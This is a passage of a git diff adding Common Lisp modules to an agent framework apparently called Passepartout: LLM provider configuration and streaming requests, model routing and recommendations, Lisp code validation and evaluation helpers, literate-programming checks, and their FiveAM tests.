plists." + (let ((cached (gethash provider *model-cache*))) + (when (and cached (< (- (get-universal-time) (car cached)) *model-cache-ttl*)) + (return-from model-explorer-fetch (cdr cached)))) + (let ((models (case provider + (:openrouter (model-explorer-fetch-openrouter)) + (t nil)))) + (when models + (setf (gethash provider *model-cache*) + (cons (get-universal-time) models))) + models)) + +(defun model-explorer-list-free () + "Return all free models from cache or fetch." + (remove-if-not (lambda (m) (getf m :free)) (model-explorer-fetch :openrouter))) + +(defun model-explorer-recommend (slot) + "Return recommended models for SLOT (:code, :chat, :plan, :background)." + (case slot + (:code + '((:id "qwen/qwen3-coder:free" :name "Qwen3 Coder 480B" :context 262000 :free t :note "Top-tier code MoE, 35B active") + (:id "poolside/laguna-m.1:free" :name "Laguna M.1" :context 131072 :free t :note "Flagship coding agent") + (:id "openai/gpt-oss-120b:free" :name "gpt-oss-120b" :context 131072 :free t :note "117B MoE open-weight coding"))) + (:plan + '((:id "openrouter/owl-alpha" :name "Owl Alpha" :context 1048756 :free t :note "Agentic, tool use, reasoning") + (:id "nousresearch/hermes-3-llama-3.1-405b:free" :name "Hermes 3 405B" :context 131072 :free t :note "405B generalist, strong planning") + (:id "minimax/minimax-m2.5:free" :name "MiniMax M2.5" :context 196608 :free t :note "SOTA productivity, long context"))) + (:chat + '((:id "meta-llama/llama-3.3-70b-instruct:free" :name "Llama 3.3 70B" :context 65536 :free t :note "Strong multilingual generalist") + (:id "google/gemma-4-31b-it:free" :name "Gemma 4 31B" :context 262144 :free t :note "Dense 31B, thinking mode, long context") + (:id "mistralai/mistral-nemo:free" :name "Mistral Nemo" :context 32768 :free t :note "Fast, good for casual conversation"))) + (:background + '((:id "meta-llama/llama-3.2-3b-instruct:free" :name "Llama 3.2 3B" :context 131072 :free t :note "Small, fast, efficient") + (:id "liquid/lfm-2.5-1.2b-instruct:free" :name "LFM 2.5 1.2B" :context 32768 :free t :note "Ultra-compact, edge-ready"))) + (t '((:id "meta-llama/llama-3.3-70b-instruct:free" :name "Llama 3.3 70B" :context 65536 :free t :note "Safe fallback"))))) + +(defvar *slot-descriptions* + '((:code . "Code generation, refactoring, debugging. Needs strong reasoning and large context.\nRecommend: Qwen3 Coder (free, 35B active) or Laguna M.1 (coding agent).") + (:chat . "Casual conversation, Q&A, creative writing. Prefer balanced quality, low latency.\nRecommend: Llama 3.3 70B (strong generalist) or Gemma 4 31B (thinking mode).") + (:plan . "Strategic planning, architecture design, complex multi-step reasoning.\nRecommend: Owl Alpha (free, tool use, 1M ctx) or Hermes 3 405B (strongest free reasoning).") + (:background . "Heartbeat summaries, delegation responses, tool output filtering. Must be small + fast.\nRecommend: Llama 3.2 3B (131K ctx, fast) or LFM 2.5 1.2B (edge-ready)."))) + +;; REPL-verified: 2026-05-04 +(eval-when (:compile-toplevel :load-toplevel :execute) + (ignore-errors (ql:quickload :fiveam :silent t))) + +(defpackage :passepartout-neuro-explorer-tests + (:use :cl :passepartout) + (:export #:model-explorer-suite)) + +(in-package :passepartout-neuro-explorer-tests) + +(fiveam:def-suite model-explorer-suite :description "Tests for the model explorer skill") + +(fiveam:in-suite model-explorer-suite) + +(fiveam:test model-explorer-recommend-slots + "Contract 1: recommend returns models for all standard slots." + (dolist (slot '(:code :chat :plan :background)) + (let ((recs (passepartout::model-explorer-recommend slot))) + (fiveam:is (listp recs)) + (fiveam:is (>= (length recs) 1))))) + +(fiveam:test model-explorer-recommend-format + "Contract 1: each recommendation has :id and :name." + (dolist (rec (passepartout::model-explorer-recommend :chat)) + (fiveam:is (getf rec :id)) + (fiveam:is (getf rec :name)))) + +(fiveam:test model-explorer-recommend-unknown-slot + "Contract 1: unknown slot returns fallback list." + (let ((recs (passepartout::model-explorer-recommend :unknown))) + (fiveam:is (listp recs)) + (fiveam:is (>= (length recs) 1)))) + +(fiveam:test model-explorer-fetch-openrouter-count + "Contract 2: OpenRouter API returns at least 300 models." + (let ((models (passepartout::model-explorer-fetch :openrouter))) + (if models + (fiveam:is (>= (length models) 300)) + (fiveam:skip "API unreachable")))) diff --git a/lisp/neuro-provider.lisp b/lisp/neuro-provider.lisp new file mode 100644 index 0000000..589cf43 --- /dev/null +++ b/lisp/neuro-provider.lisp @@ -0,0 +1,244 @@ +(in-package :passepartout) + +(defparameter *provider-configs* + '((:local . (:base-url nil :key-env nil :url-env "LOCAL_BASE_URL" :default-model "llama3")) + (:openrouter . (:base-url "https://openrouter.ai/api/v1" :key-env "OPENROUTER_API_KEY" :default-model "openrouter/auto")) + (:openai . (:base-url "https://api.openai.com/v1" :key-env "OPENAI_API_KEY" :default-model "gpt-4o-mini")) + (:anthropic . (:base-url "https://api.anthropic.com/v1" :key-env "ANTHROPIC_API_KEY" :default-model "claude-3-5-sonnet-20241022")) + (:groq . (:base-url "https://api.groq.com/openai/v1" :key-env "GROQ_API_KEY" :default-model "llama-3.1-70b-versatile")) + (:gemini . (:base-url "https://generativelanguage.googleapis.com/v1beta/openai" :key-env "GEMINI_API_KEY" :default-model "gemini-2.0-flash")) + (:deepseek . (:base-url "https://api.deepseek.com/v1" :key-env "DEEPSEEK_API_KEY" :default-model "deepseek-chat")) + (:nvidia . (:base-url "https://integrate.api.nvidia.com/v1" :key-env "NVIDIA_API_KEY" :default-model "meta/llama-3.1-405b-instruct")))) + +(defun provider-config (provider) + "Returns the configuration plist for a provider keyword." + (cdr (assoc provider *provider-configs*))) + +(defun provider-available-p (provider) + "Checks if a provider is configured. Checks API key or URL env vars." + (let* ((config (provider-config provider)) + (key-env (getf config :key-env)) + (url-env (getf config :url-env)) + (base-url (getf config :base-url))) + (cond (key-env (let ((key (uiop:getenv key-env))) (and key (> (length key) 0)))) + (url-env (let ((url (uiop:getenv url-env))) (and url (> (length url) 0)))) + (base-url t)))) + +(defun provider-openai-request (prompt system-prompt &key model (provider :openrouter) tools) + "Executes a request against any OpenAI-compatible API endpoint. +When :tools is provided, includes function-calling tool definitions in the request." + (let* ((config (provider-config provider)) + (base-url (getf config :base-url)) + (key-env (getf config :key-env)) + (url-env (getf config :url-env)) + (default-model (getf config :default-model)) + (api-key (when key-env (uiop:getenv key-env))) + (model-id (or model default-model)) + (url (if url-env + (let ((host (uiop:getenv url-env))) + (if host + (format nil "http://~a/v1/chat/completions" host) + (format nil "~a/chat/completions" base-url))) + (format nil "~a/chat/completions" base-url))) + (timeout (or (ignore-errors + (parse-integer (uiop:getenv "LLM_REQUEST_TIMEOUT"))) + 30)) + (headers `(("Content-Type" . "application/json") + ,@(when api-key `(("Authorization" . ,(format nil "Bearer ~a" api-key)))) + ,@(when (eq provider :openrouter) + `(("HTTP-Referer" . "https://github.com/amrgharbeia/passepartout") + ("X-Title" . "Passepartout"))))) + (body (let ((base `((model . ,model-id) + (messages . (( (role . "system") (content . ,system-prompt) ) + ( (role . "user") (content . ,prompt) )))))) + (if tools + (append base + `((tools . ,(loop for tool in tools + collect (list (cons :|type| "function") + (cons :|function| (loop for (k v) on tool by #'cddr + collect (cons (intern (string-upcase (string k)) "KEYWORD") v)))))) + (:|tool_choice| . "auto"))) + base))) + (body-json (cl-json:encode-json-to-string body))) + (handler-case + (let* ((response (dex:post url :headers headers :content body-json + :connect-timeout (min 5 timeout) + :read-timeout (max 10 (- timeout 5)))) + (json (cl-json:decode-json-from-string response)) + (choices (cdr (assoc :choices json))) + (first-choice (car choices)) + (message (cdr (assoc :message first-choice))) + (tool-calls (cdr (assoc :|tool_calls| message))) + (content (cdr (assoc :content message)))) + (cond + (tool-calls + (list :status :success + :tool-calls + (loop for tc in tool-calls + for fun = (cdr (assoc :|function| tc)) + for args-str = (cdr (assoc :|arguments| fun)) + for args = (when args-str (cl-json:decode-json-from-string args-str)) + collect (list :name (cdr (assoc :|name| fun)) + :arguments args)))) + (content + (list :status :success :content content)) + (t + (list :status :error :message (format nil "~a: No content" provider))))) + (error (c) + (list :status :error :message (format nil "~a Failure: ~a" provider c)))))) + +(defun provider-register-all () + "Scans environment variables and registers all available LLM backends." + (dolist (entry *provider-configs*) + (let ((provider (car entry))) + (when (provider-available-p provider) + (log-message "LLM BACKEND: Registering provider ~a" provider) + (register-probabilistic-backend provider + (lambda (prompt system-prompt &key model tools) + (provider-openai-request prompt system-prompt :model model :provider provider :tools tools))))))) + +(defun provider-cascade-initialize () + "Reads PROVIDER_CASCADE from env and sets *provider-cascade*." + (let ((cascade-str (uiop:getenv "PROVIDER_CASCADE"))) + (if cascade-str + (setf *provider-cascade* + (mapcar (lambda (s) (intern (string-upcase (string-trim '(#\Space #\" #\') s)) :keyword)) + (uiop:split-string cascade-str :separator '(#\,)))) + (setf *provider-cascade* (mapcar #'car (remove-if (lambda (e) + (member (car e) '(:local))) + *provider-configs*)))))) + +(defun test-provider-connection (provider &optional api-key) + "Test a provider API key by hitting its models endpoint. +Returns (:ok) on success, (:fail reason) on failure. +If API-KEY is nil, reads from environment." + (let* ((config (provider-config provider)) + (base-url (getf config :base-url)) + (key-env (getf config :key-env)) + (url-env (getf config :url-env)) + (key (or api-key (when key-env (uiop:getenv key-env))))) + (handler-case + (let ((url (if url-env + (let ((host (or (uiop:getenv url-env) ""))) + (format nil "http://~a/api/tags" host)) + (format nil "~a/models" (or base-url ""))))) + (if key-env + (progn (dex:get url :headers `(("Authorization" . ,(format nil "Bearer ~a" key))) + :connect-timeout 5 :read-timeout 10) + '(:ok)) + (if url-env + (progn (dex:get url :connect-timeout 5 :read-timeout 10) '(:ok)) + '(:fail "No URL source for this provider")))) + (error (c) `(:fail ,(format nil "~a" c)))))) + +(provider-register-all) +(provider-cascade-initialize) + +(defskill :passepartout-neuro-provider + :priority 50 + :trigger (lambda (ctx) (declare (ignore ctx)) nil)) + +(defun cascade-stream (prompt system-prompt callback) + "Streaming cascade: calls provider-openai-stream on the first available backend. +Calls CALLBACK with each delta string, then with '' to signal end-of-stream." + (dolist (backend *provider-cascade*) + (when (gethash backend *probabilistic-backends*) + (let ((result (provider-openai-stream prompt system-prompt callback + :provider backend))) + (when (eq (getf result :status) :success) + (return cascade-stream)))))) + +(in-package :passepartout) + +(defun parse-sse-line (line) + "Parse an SSE line. Returns data string, :done for [DONE], nil otherwise." + (cond + ((or (null line) (string= line "")) nil) + ((char= (char line 0) #\:) nil) + ((and (>= (length line) 6) (string-equal (subseq line 0 6) "data: ")) + (let ((content (subseq line 6))) + (if (string= content "[DONE]") + :done + content))) + (t nil))) + +(defvar *stream-cancel* nil + "When T, the streaming SSE loop exits early.") + +(defun provider-openai-stream (prompt system-prompt callback &key model (provider :openrouter) tools) + "Streaming OpenAI-compatible request. Calls CALLBACK with each delta, then ''." + (let* ((config (provider-config provider)) + (base-url (getf config :base-url)) + (key-env (getf config :key-env)) + (url-env (getf config :url-env)) + (default-model (getf config :default-model)) + (api-key (when key-env (uiop:getenv key-env))) + (model-id (or model default-model)) + (url (if url-env + (let ((host (uiop:getenv url-env))) + (if host + (format nil "http://~a/v1/chat/completions" host) + (format nil "~a/chat/completions" base-url))) + (format nil "~a/chat/completions" base-url))) + (timeout (or (ignore-errors (parse-integer (uiop:getenv "LLM_REQUEST_TIMEOUT"))) 30)) + (req-headers (list (cons "Content-Type" "application/json"))) + (base `((model . ,model-id) + (messages . (( (role . "system") (content . ,system-prompt) ) + ( (role . "user") (content . ,prompt) ))) + (stream . t)))) + (when api-key + (push (cons "Authorization" (format nil "Bearer ~a" api-key)) req-headers)) + (when (eq provider :openrouter) + (setf req-headers + (append req-headers + `(("HTTP-Referer" . "https://github.com/amrgharbeia/passepartout") + ("X-Title" . "Passepartout"))))) + (let ((body (if tools + (append base + `((tools . ,(loop for tool in tools + collect (list (cons :|type| "function") + (cons :|function| + (loop for (k v) on tool by #'cddr + collect (cons (intern (string-upcase (string k)) "KEYWORD") v)))))) + (:|tool_choice| . "auto"))) + base))) + (handler-case + (let* ((body-json (cl-json:encode-json-to-string body)) + (stall-seconds 30) + (s (dex:post url :headers req-headers :content body-json + :connect-timeout (min 5 timeout) + :read-timeout stall-seconds + :want-stream t))) + ;; v0.7.1: track stall timer — reset on each successful chunk + (let ((last-chunk-time (get-universal-time))) + (loop for raw = (handler-case (read-line s nil nil) + (error (c) + (declare (ignore c)) + nil)) + while raw + do (when *stream-cancel* ; v0.7.1: cancel check + (setf *stream-cancel* nil) + (funcall callback " [cancelled]") + (return)) + (let ((parsed (parse-sse-line raw))) + (cond + ((null parsed)) + ((eq parsed :done) (return)) + (t (handler-case + (let* ((json (cl-json:decode-json-from-string parsed)) + (choices (cdr (assoc :choices json))) + (choice (car choices)) + (delta (cdr (assoc :delta choice))) + (content (cdr (assoc :content delta)))) + (when content + (funcall callback content) + (setf last-chunk-time (get-universal-time)))) + (error ()))))) + (when (> (- (get-universal-time) last-chunk-time) stall-seconds) + (funcall callback "[Response stalled — timed out at 30s]") + (return)))) + (funcall callback "") + (close s) + (list :status :success)) + (error (c) + (list :status :error :message (format nil "~a Stream Failure: ~a" provider c))))))) diff --git a/lisp/neuro-router.lisp b/lisp/neuro-router.lisp new file mode 100644 index 0000000..06b031a --- /dev/null +++ b/lisp/neuro-router.lisp @@ -0,0 +1,90 @@ +(in-package :passepartout) + +(defvar *model-cascade-code* nil + "Cascade for :code tasks: ((:ollama . \"model\") ...)") + +(defvar *model-cascade-plan* nil + "Cascade for :plan tasks.") + +(defvar *model-cascade-chat* nil + "Cascade for :chat tasks.") + +(defvar *model-cascade-background* nil + "Cascade for background tasks (heartbeat, delegation).") + +(defvar *local-backends* '(:ollama :llama-cpp) + "Backend keywords considered local (privacy-safe).") + +(defun model-classify-complexity (text) + "Classify TEXT into :code, :plan, or :chat." + (let ((lower (string-downcase text))) + (cond + ((or (search "defun" lower) (search "defmacro" lower) + (search "write" lower) (search "refactor" lower) + (search "fix " lower) (search "implement" lower) + (search "code" lower) + (search "#+begin_src" lower)) + :code) + ((or (search "plan" lower) (search "roadmap" lower) + (search "strategy" lower) (search "design" lower) + (search "architecture" lower)) + :plan) + (t :chat)))) + +(defun model-cascade-find (cascade backend) + "Find first (PROVIDER . MODEL) in CASCADE matching BACKEND." + (assoc backend cascade + :test (lambda (a b) (string-equal (string a) (string b))))) + +(defun model-select (backend context) + "Select model for BACKEND given CONTEXT signal. +Returns model name or :skip." + (let* ((payload (getf context :payload)) + (text (or (getf payload :text) "")) + (sensor (getf payload :sensor)) + (has-personal (and (boundp '*dispatcher-privacy-tags*) + (some (lambda (tag) (search tag text)) + (symbol-value '*dispatcher-privacy-tags*)))) + (is-local (member backend *local-backends*))) + ;; Privacy: skip cloud backends for personal content + (when (and has-personal (not is-local)) + (log-message "MODEL-ROUTER: Skipping ~a (personal content)" backend) + (return-from model-select :skip)) + ;; Quadrant: background tasks use background cascade + (if (member sensor '(:heartbeat :delegation :tool-output :loop-error)) + (let ((entry (car (or *model-cascade-background* + '((:ollama . "phi-2")))))) + (cdr entry)) + ;; Foreground: classify complexity, use slot cascade + (let* ((slot (model-classify-complexity text)) + (cascade (case slot + (:code *model-cascade-code*) + (:plan *model-cascade-plan*) + (t *model-cascade-chat*))) + (entry (model-cascade-find + (or cascade '((:ollama . "qwen2.5:14b"))) backend))) + (if entry (cdr entry) nil))))) + +(defun model-router-init () + "Read env vars and wire model-select into *model-selector*." + (flet ((parse-cascade (str) + (when (and str (> (length str) 0)) + (let ((*read-eval* nil)) + (read-from-string str))))) + (setf *model-cascade-code* (parse-cascade (uiop:getenv "MODEL_CASCADE_CODE")) + *model-cascade-plan* (parse-cascade (uiop:getenv "MODEL_CASCADE_PLAN")) + *model-cascade-chat* (parse-cascade (uiop:getenv "MODEL_CASCADE_CHAT")) + *model-cascade-background* (parse-cascade (uiop:getenv "MODEL_CASCADE_BACKGROUND")) + *local-backends* (let ((env (uiop:getenv "LOCAL_BACKENDS"))) + (if env + (mapcar (lambda (s) (intern (string-upcase (string-trim '(#\Space #\" #\') s)) :keyword)) + (uiop:split-string env :separator '(#\,))) + '(:ollama :llama-cpp))))) + (setf *model-selector* #'model-select) + (log-message "MODEL-ROUTER: Initialized, selector=~a" *model-selector*)) + +(defskill :passepartout-model-router + :priority 250 + :trigger (lambda (ctx) (declare (ignore ctx)) nil)) + +(model-router-init) diff --git a/lisp/programming-lisp.lisp b/lisp/programming-lisp.lisp new file mode 100644 index 0000000..70edfca --- /dev/null +++ b/lisp/programming-lisp.lisp @@ -0,0 +1,246 @@ +(in-package :passepartout) + +(defun lisp-structural-check (code) + "Checks if parentheses are balanced and the code is readable." + (handler-case + (let ((*read-eval* nil)) + (with-input-from-string (s code) + (loop for form = (read s nil :eof) until (eq form :eof))) + (values t nil)) + (error (c) + (values nil (format nil "Reader Error: ~a" c))))) + +(defun lisp-syntactic-check (code) + "Checks for valid Lisp syntax beyond just balanced parentheses." + (lisp-structural-check code)) + +(defun lisp-semantic-check (code) + "Checks for potentially unsafe forms." + (let ((unsafe-tokens '("eval" "load" "uiop:run-program" "sb-ext:run-program" "cl-user::eval"))) + (loop for token in unsafe-tokens + when (search token (string-downcase code)) + do (return-from lisp-semantic-check (values nil (format nil "Unsafe form detected: ~a" token)))) + (values t nil))) + +(defun lisp-validate (code &key (strict t)) + "Unified validation gate for Lisp code." + (multiple-value-bind (struct-ok struct-err) (lisp-structural-check code) + (unless struct-ok + (return-from lisp-validate (list :status :error :reason struct-err))) + (when strict + (multiple-value-bind (sem-ok sem-err) (lisp-semantic-check code) + (unless sem-ok + (return-from lisp-validate (list :status :error :reason sem-err))))) + (list :status :success))) + +(defun lisp-eval (code-string &key (package :passepartout)) + "Evaluates a Lisp string and captures its output/results." + (let ((out (make-string-output-stream)) + (err (make-string-output-stream))) + (handler-case + (let* ((*standard-output* out) + (*error-output* err) + (*package* (or (find-package package) (find-package :passepartout))) + (result (with-input-from-string (s code-string) + (let ((last-val nil)) + (loop for form = (read s nil :eof) until (eq form :eof) + do (setf last-val (eval form))) + last-val)))) + (list :status :success + :result (format nil "~a" result) + :output (get-output-stream-string out) + :error (get-output-stream-string err))) + (error (c) + (list :status :error + :reason (format nil "~a" c) + :output (get-output-stream-string out) + :error (get-output-stream-string err)))))) + +(defun lisp-format (code-string) + "Attempts to format Lisp code using Emacs batch mode if available." + (handler-case + (let ((tmp-file "/tmp/oc-format-temp.lisp")) + (uiop:with-output-file (s tmp-file :if-exists :supersede) + (format s "~a" code-string)) + (multiple-value-bind (out err code) + (uiop:run-program (list "emacs" "--batch" tmp-file + "--eval" "(indent-region (point-min) (point-max))" + "--eval" "(princ (buffer-string))") + :output :string :error-output :string :ignore-error-status t) + (if (= code 0) + out + (progn + (log-message "FORMAT ERROR: ~a" err) + code-string)))) + (error (c) + (log-message "FORMAT EXCEPTION: ~a" c) + code-string))) + +(defun lisp-extract (code function-name) + "Extracts the definition of a specific function from a code string." + (let ((*read-eval* nil)) + (with-input-from-string (s code) + (loop for form = (read s nil :eof) until (eq form :eof) + when (and (listp form) + (symbolp (car form)) + (member (symbol-name (car form)) '("DEFUN" "DEFMACRO" "DEFMETHOD") :test #'string-equal) + (symbolp (second form)) + (string-equal (symbol-name (second form)) function-name)) + do (return-from lisp-extract (format nil "~s" form)))) + nil)) + +(defun lisp-wrap (code target-name wrapper-symbol) + "Wraps a specific form in a wrapper form (e.g., wrap in a let)." + (let ((*read-eval* nil) (results nil)) + (with-input-from-string (s code) + (loop for form = (read s nil :eof) until (eq form :eof) + do (if (and (listp form) + (symbolp (second form)) + (string-equal (symbol-name (second form)) target-name)) + (push (list wrapper-symbol form) results) + (push form results)))) + (format nil "~{~s~^~%~%~}" (nreverse results)))) + +(defun lisp-list-definitions (code) + "Returns a list of names for all top-level definitions (defun, defmacro, etc.)." + (let ((*read-eval* nil) (names nil)) + (with-input-from-string (s code) + (loop for form = (read s nil :eof) until (eq form :eof) + when (and (listp form) + (symbolp (car form)) + (member (symbol-name (car form)) + '("DEFUN" "DEFMACRO" "DEFMETHOD" "DEFVAR" "DEFPARAMETER") + :test #'string-equal) + (symbolp (second form))) + do (push (second form) names))) + (nreverse names))) + +(defun lisp-inject (code target-name new-form-string) + "Injects a new form into the body of a targeted definition." + (let ((*read-eval* nil) + (new-form (read-from-string new-form-string)) + (results nil)) + (with-input-from-string (s code) + (loop for form = (read s nil :eof) until (eq form :eof) + do (if (and (listp form) + (symbolp (car form)) + (member (symbol-name (car form)) '("DEFUN" "DEFMACRO" "DEFMETHOD") :test #'string-equal) + (symbolp (second form)) + (string-equal (symbol-name (second form)) target-name)) + (push (append form (list new-form)) results) + (push form results)))) + (format nil "~{~s~^~%~%~}" (nreverse results)))) + +(defun lisp-slurp (code target-name form-to-slurp-string) + "Adds a form to the end of a named list or definition (Paredit slurp)." + (let ((*read-eval* nil) + (to-slurp (read-from-string form-to-slurp-string)) + (results nil)) + (with-input-from-string (s code) + (loop for form = (read s nil :eof) until (eq form :eof) + do (if (and (listp form) + (symbolp (second form)) + (string-equal (symbol-name (second form)) target-name)) + (push (append form (list to-slurp)) results) + (push form results)))) + (format nil "~{~s~^~%~%~}" (nreverse results)))) + +(defskill :passepartout-programming-lisp + :priority 400 + :trigger (lambda (ctx) (declare (ignore ctx)) nil)) + +(defun plist-keywords-normalize (plist) + (when (listp plist) + (loop for (k v) on plist by #'cddr + collect (if (and (symbolp k) (not (keywordp k))) + (intern (string k) :keyword) + k) + collect v))) + +(defpackage :passepartout-utils-lisp-tests + (:use :cl :fiveam :passepartout) + (:export #:utils-lisp-suite)) + +(in-package :passepartout-utils-lisp-tests) + +(def-suite utils-lisp-suite + :description "Tests for the Lisp Validator structural, syntactic, and semantic gates") + +(in-suite utils-lisp-suite) + +(test structural-balanced + "Contract 1: balanced code returns T." + (is (eq t (passepartout:lisp-structural-check "(+ 1 2)")))) + +(test structural-unbalanced-open + "Contract 1: missing close paren returns nil + error." + (multiple-value-bind (ok reason) (passepartout:lisp-structural-check "(+ 1 2") + (is (null ok)) + (is (search "Reader Error" reason)))) + +(test structural-unbalanced-close + "Contract 1: extra close paren returns nil + error." + (multiple-value-bind (ok reason) (passepartout:lisp-structural-check "+ 1 2)") + (is (null ok)) + (is (search "Reader Error" reason)))) + +(test syntactic-valid + "Contract 2: valid syntax passes syntactic check." + (is (eq t (passepartout:lisp-syntactic-check "(+ 1 2)")))) + +(test semantic-safe + "Contract 3: safe code passes semantic check." + (is (eq t (passepartout:lisp-semantic-check "(+ 1 2)")))) + +(test semantic-blocked-eval + "Contract 3: eval forms are blocked by semantic check." + (multiple-value-bind (ok reason) (passepartout:lisp-semantic-check "(eval '(+ 1 2))") + (is (null ok)) + (is (search "Unsafe" reason)))) + +(test unified-success + "Contract 4: valid code returns :success via lisp-validate." + (let ((result (passepartout:lisp-validate "(+ 1 2)" :strict t))) + (is (eq (getf result :status) :success)))) + +(test unified-failure + "Contract 4: invalid code returns :error via lisp-validate." + (let ((result (passepartout:lisp-validate "(+ 1 2" :strict nil))) + (is (eq (getf result :status) :error)))) + +(test eval-basic + "Contract 5: lisp-eval returns :success with captured result." + (let ((result (passepartout:lisp-eval "(+ 1 2)"))) + (is (eq (getf result :status) :success)) + (is (string= (getf result :result) "3")))) + +(test structural-extract + "Contract 6: lisp-extract finds and returns a named function." + (let* ((code "(defun hello () (print \"hi\")) (defun bye () (print \"bye\"))") + (extracted (passepartout:lisp-extract code "hello"))) + (is (not (null extracted))) + (let ((form (read-from-string extracted))) + (is (eq (car form) 'DEFUN)) + (is (eq (second form) 'HELLO))))) + +(test list-definitions + "Contract 7: lisp-list-definitions returns all defined names." + (let ((code "(defun foo () t) (defmacro bar () nil) (defparameter *baz* 10)")) + (let ((names (passepartout:lisp-list-definitions code))) + (is (member 'FOO names)) + (is (member 'BAR names)) + (is (member '*BAZ* names))))) + +(test structural-inject + "Contract 8: lisp-inject adds a form to a function body." + (let* ((code "(defun my-fun (x) (print x))") + (injected (passepartout:lisp-inject code "my-fun" "(finish-output)"))) + (let ((form (read-from-string injected))) + (is (equal (last form) '((FINISH-OUTPUT))))))) + +(test structural-slurp + "Contract 9: lisp-slurp appends a form to a function body." + (let* ((code "(defun work () (step-1))") + (slurped (passepartout:lisp-slurp code "work" "(step-2)"))) + (let ((form (read-from-string slurped))) + (is (equal (last form) '((STEP-2))))))) diff --git a/lisp/programming-literate.lisp b/lisp/programming-literate.lisp new file mode 100644 index 0000000..27ffbf9 --- /dev/null +++ b/lisp/programming-literate.lisp @@ -0,0 +1,103 @@ +(in-package :passepartout) + +(defun literate-extract-lisp-blocks (content) + "Extracts all #+begin_src lisp ... #+end_src blocks from Org CONTENT. +Returns a list of block strings." + (let ((lines (uiop:split-string content :separator '(#\Newline))) + (blocks nil) + (in-block nil) + (current-block nil)) + (dolist (line lines) + (let ((trimmed (string-trim '(#\Space) line))) + (cond + ((uiop:string-prefix-p "#+begin_src lisp" trimmed) + (setf in-block t current-block nil)) + ((uiop:string-prefix-p "#+end_src" trimmed) + (when in-block + (push (format nil "~{~a~^~%~}" (nreverse current-block)) blocks) + (setf in-block nil current-block nil))) + (in-block + (push line current-block))))) + (nreverse blocks))) + +(defun literate-block-balance-check (org-file) + "Verifies that all Lisp source blocks in an Org file have balanced parentheses. +Returns T if all blocks pass validation, or an error string listing failures." + (when (not (uiop:file-exists-p org-file)) + (return-from literate-block-balance-check + (format nil "Org file not found: ~a" org-file))) + (let* ((content (uiop:read-file-string org-file)) + (blocks (literate-extract-lisp-blocks content)) + (failures nil)) + (if (null blocks) + t + (progn + (loop for i from 0 + for block in blocks + for (ok reason) = (multiple-value-list + (lisp-structural-check block)) + unless ok + do (push (format nil "Block ~d: ~a" (1+ i) reason) failures)) + (if failures + (format nil "Unbalanced blocks in ~a:~%~{~a~^~%~}" org-file failures) + t))))) + +(defun literate-tangle-sync-check (org-file lisp-file) + "Verifies that the .lisp file matches the tangled output of the .org file. +Compares the concatenation of all lisp blocks from the Org file against the +contents of the Lisp file. Returns T if they match, or an error message." + (when (not (uiop:file-exists-p org-file)) + (return-from literate-tangle-sync-check + (format nil "Org file not found: ~a" org-file))) + (when (not (uiop:file-exists-p lisp-file)) + (return-from literate-tangle-sync-check + (format nil "Lisp file not found: ~a" lisp-file))) + (let* ((org-content (uiop:read-file-string org-file)) + (org-blocks (literate-extract-lisp-blocks org-content)) + (tangled (format nil "~{~a~^~%~%~}" org-blocks)) + (lisp-content (uiop:read-file-string lisp-file))) + (if (string= (string-trim '(#\Space #\Newline) tangled) + (string-trim '(#\Space #\Newline) lisp-content)) + t + (format nil "Tangle sync mismatch: ~a does not match ~a" org-file lisp-file)))) + +(defskill :passepartout-programming-literate + :priority 300 + :trigger (lambda (ctx) (declare (ignore ctx)) nil)) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-programming-literate-tests + (:use :cl :fiveam :passepartout) + (:export #:literate-suite)) + +(in-package :passepartout-programming-literate-tests) + +(def-suite literate-suite :description "Verification of the Literate Programming skill") +(in-suite literate-suite) + +(test test-extract-lisp-blocks + "Contract 1: extracts lisp from #+begin_src blocks." + (let* ((org-content (format nil "#+begin_src lisp~%(+ 1 2)~%#+end_src~%#+begin_src lisp~%(+ 3 4)~%#+end_src")) + (extracted (literate-extract-lisp-blocks org-content))) + (let ((joined (format nil "~{~a~^~%~}" extracted))) + (is (search "(+ 1 2)" joined)) + (is (search "(+ 3 4)" joined))))) + +(test test-block-balance-check-valid + "Contract 2: balanced parens return T." + (is (eq t (literate-block-balance-check + (merge-pathnames "org/core-pipeline.org" + (uiop:ensure-directory-pathname + (uiop:getenv "PASSEPARTOUT_DATA_DIR"))))))) + +(test test-block-balance-check-missing-close + "Contract 2: unbalanced parens return non-T." + (is (not (eq t (literate-block-balance-check "org/nonexistent-file-xyz.org"))))) + +(test test-tangle-sync-check + "Contract 3: literate-tangle-sync-check verifies org matches tangled lisp." + (let ((result (literate-tangle-sync-check "org/core-pipeline.org" "lisp/core-pipeline.lisp"))) + (is (or (eq t result) (stringp result)) + "Should return T or a mismatch description"))) diff --git a/lisp/programming-org.lisp b/lisp/programming-org.lisp new file mode 100644 index 0000000..3d8b5ab --- /dev/null +++ b/lisp/programming-org.lisp @@ -0,0 +1,357 @@ +(in-package :passepartout) + +(defun org-filetags-extract (content) + "Extracts the list of tags from a #+FILETAGS: line." + (let ((lines (uiop:split-string content :separator '(#\Newline)))) + (dolist (line lines) + (when (uiop:string-prefix-p "#+FILETAGS:" (string-trim '(#\Space) line)) + (let ((tag-str (string-trim " :" (subseq (string-trim '(#\Space) line) 10)))) + (return-from org-filetags-extract + (mapcar (lambda (tag) (format nil ":~a" (string-trim '(#\Space) tag))) + (uiop:split-string tag-str :separator '(#\space #\tab)))))))) + nil) + +(defun org-privacy-tag-p (tags-list) + "Returns T if any tag in TAGS-LIST matches the Dispatcher's privacy tags." + (let ((privacy-tags (symbol-value (find-symbol "*DISPATCHER-PRIVACY-TAGS*" :passepartout)))) + (when (and tags-list privacy-tags) + (some (lambda (tag) + (some (lambda (private-tag) + (string-equal (string-trim '(#\: #\space) tag) + (string-trim '(#\: #\space) private-tag))) + privacy-tags)) + tags-list)))) + +(defun org-privacy-strip (content) + "Removes Org headlines whose :TAGS: property contains a privacy-filtered tag. +Returns the filtered content as a string." + (let* ((lines (uiop:split-string content :separator '(#\Newline))) + (result-lines nil) + (skip-depth nil) + (current-tags nil) + (in-properties nil)) + (dolist (line lines) + (cond + (skip-depth + ;; We're inside a skipped subtree + (when (and (uiop:string-prefix-p "*" (string-trim '(#\Space) line)) + (<= (length (string-trim '(#\Space) line)) skip-depth)) + (setf skip-depth nil))) + ((uiop:string-prefix-p ":PROPERTIES:" (string-trim '(#\Space) line)) + (setf in-properties t) + (push line result-lines)) + ((uiop:string-prefix-p ":END:" (string-trim '(#\Space) line)) + (setf in-properties nil) + (when current-tags + (when 